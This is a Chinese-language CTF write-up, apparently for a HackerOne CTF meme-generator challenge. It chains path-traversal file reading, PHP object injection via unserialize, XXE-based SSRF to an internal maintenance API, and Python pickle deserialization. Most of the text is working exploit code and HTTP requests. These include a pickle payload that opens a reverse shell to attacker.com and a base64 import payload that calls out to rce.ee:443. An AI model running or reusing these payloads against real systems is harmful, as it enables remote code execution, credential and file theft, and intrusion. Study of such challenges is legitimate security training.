点击上方蓝字 关注我吧
2.1 任意文件读取-LFR
POST /api/generate.php HTTP/1.1
Host: xxx.com
Connection: close
Content-Length: 72
Accept: */*
Origin: https://xxx.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://h1-5411.h1ctf.com/generate.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,de;q=0.8
Cookie: PHPSESSID=
template=../../../../../../etc/passwd&type=text&top-text=ad&bottom-text=asd
{
"meme_path": "../data/memes/756c689bcd8268cd3114792ed5a.txt"
}
/data/memes/756c689bcd8268cd3114792ed5a.txt
,即可查看到/etc/passwd
的内容。config.php
,主要有下面这些文件。config.php
includes/classes.php
api/generate.php
api/export_memes.php
api/import_memes.php
classes.php
时,发现了一个函数parse()
存在XXE漏洞,只要想办法控制config_raw
的内容即可触发。// 开启了外部实体,存在XXE问题
libxml_disable_entity_loader(false);
// ...
function parse() {
$dom = new DOMDocument();
$dom-> ($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->top_text;
$this->bottom_text = $o->bottom_text;
// ...
}
ConfigFile
并没有被初始化,也就是说,这个漏洞暂时无法利用。ConfigFile
类有一个魔术方法__toString()
,这个方法会在打印ConfigFile
实例的时候被调用,值得注意的是,__toString()
方法调用了parse()
函数。class ConfigFile {
function _construct($url) {
$this->config_raw = file_get_contents($url);
}
// ...
function parse() {
$dom = new DOMDocument();
$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
function __toString() {
// 调用了parse,该函数存在XXE问题
$this->parse();
$debug = "";
$debug .= "Debug Info :\n";
$debug .= "TopText => {$this->top_text}\n";
$debug .= "BottomText => {$this->bottom_text}\n";
$debug .= "Template Location => {$this->template}\n";
$debug .= "Template Type => {$this->type}\n";
return $debug;
}
}
array_merge()
来将反序列化后的内容存储到数组$_SESSION['memes']
中。<?php
require_once("../includes/config.php");
if (isset($_FILES['f'])) {
$new_memes = unserialize(base64_decode(
file_get_contents($_FILES['f']['tmp_name'])));
$_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes);
}
header("Location: /memes.php");
?>
$_SESSION['memes']
并打印。//export_memes.php
<?php
require_once("../includes/config.php");
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.time().'_export.memepak"');
echo base64_encode(serialize($_SESSION['memes']));
?>
这里有个小问题,就是$_SESSION['memes']是个数组,数组和object不能直接array_merge(),不然会报错,必须把object包裹在一个数组中。这个export的打印就不能利用了。下文触发XXE用的是generate接口。
foreach($_SESSION['memes'] as $meme) {
?>
<iframe width="100%" height="450" frameborder="0"
src="<?php echo htmlentities($meme); ?>"></iframe>
<?php
}
}
?>
$_SESSION['memes']
,然后通过echo打印它的每一个value。import
接口触发反序列化,再调用generate
接口触发XXE。(也就是对象注入+XXE)<?php
class ConfigFile{
function __construct($url) {
$this->config_raw = file_get_contents($url);
}
function parse() {
echo "i was called";
$dom = new DOMDocument();
$dom->loadXML ($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
function __toString() {
$this->parse();
echo $this->template;
return "I am a stirng";
}
}
$obj=new ConfigFile('asd');
$obj->config_raw='<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://127.0.0.1:1337" >]><note><toptext>Tove</toptext><bottomtext>Jani</bottomtext><type>Reminder</type><template>&xxe;</template></note>';
echo base64_encode(serialize(array($obj)));
echo "\n";
generate
获得meme内容,得到如下结果:Internal Meme Service
Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints:
/status - View maintenance status;
/update-status Change maintenance status;
Debug: The debug parameter allows debugging;
maintenance api
,并且有着/status
和/update-status
两个接口,而且还有一个debug参数,会在请求时给我们更多的信息。update-stauts
也接收一个status
参数,用来将模式在off和on之间切换。http://127.0.0.1:1337/status?debug=1
,通过generate
查看返回结果。它的返回内容在解码后似乎是一个 Python Pickle 序列化对象。// 返回结果
Maintenance mode: off | Debug: KGlhcHAKU3RhdHVzCnAxCihkcDIKUydtZXNzYWdlJwpwMwpTJ01haW50ZW5hbmNlIG1vZGU6IG9mZicKcDQKc1MnbWFpbnRlbmFuY2UnCnA1CkkwMApzYi4=// base64解码后
(iapp
Status
p1
(dp2
S'message'
p3
S'Maintenance mode: off'
p4
sS'maintenance'
p5
I00
Sb.
/update-status?status=&debug=1
,得到如下返回:A new status has been loaded. Automatic reloading not implemented yet!
import cPickle
import sys
import base64
DEFAULT_COMMAND = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker.com\",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(DEFAULT_COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))
POST /api/import_memes.php HTTP/1.1
Host: xxx.com
Cookie: xxx
------WebKitFormBoundaryi9X2MAeAOhvJm616
Content-Disposition: form-data; name="f"; filename="222.memepak"
Content-Type: application/octet-stream
YToxOntpOjA7TzoxMDoiQ29uZmlnRmlsZSI6MTp7czoxMDoiY29uZmlnX3JhdyI7czo2MDI6Ijw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+IDwhRE9DVFlQRSBmb28gWzwhRUxFTUVOVCBmb28gQU5ZID48IUVOVElUWSB4eGUgU1lTVEVNICJodHRwOi8vbG9jYWxob3N0OjEzMzcvdXBkYXRlLXN0YXR1cz9zdGF0dXM9WTNCdmMybDRDbk41YzNSbGJRcHdNUW9vVXlkd2VYUm9iMjRnTFdNZ1hDZHBiWEJ2Y25RZ2MyOWphMlYwTEhOMVluQnliMk5sYzNNc2IzTTdjejF6YjJOclpYUXVjMjlqYTJWMEtITnZZMnRsZEM1QlJsOUpUa1ZVTEhOdlkydGxkQzVUVDBOTFgxTlVVa1ZCVFNrN2N5NWpiMjV1WldOMEtDZ2ljbU5sTG1WbElpdzBORE1wS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdJRzl6TG1SMWNESW9jeTVtYVd4bGJtOG9LU3d4S1RzZ2IzTXVaSFZ3TWloekxtWnBiR1Z1YnlncExESXBPM0E5YzNWaWNISnZZMlZ6Y3k1allXeHNLRnNpTDJKcGJpOXphQ0lzSWkxcElsMHBPMXduSndwd01ncDBVbkF6Q2k0PSZkZWJ1Zz0xIiA+XT48bm90ZT48dG9wdGV4dD5Ub3ZlPC90b3B0ZXh0Pjxib3R0b210ZXh0Pkphbmk8L2JvdHRvbXRleHQ+PHR5cGU+UmVtaW5kZXI8L3R5cGU+PHRlbXBsYXRlPiZ4eGU7PC90ZW1wbGF0ZT48L25vdGU+Ijt9fQ==
------WebKitFormBoundaryi9X2MAeAOhvJm616--
a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:602:"<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUydweXRob24gLWMgXCdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgicmNlLmVlIiw0NDMpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pO1wnJwpwMgp0UnAzCi4=&debug=1" >]><note><toptext>Tove</toptext><bottomtext>Jani</bottomtext><type>Reminder</type><template>&xxe;</template></note>";}}
总结一下整个利用链路吧。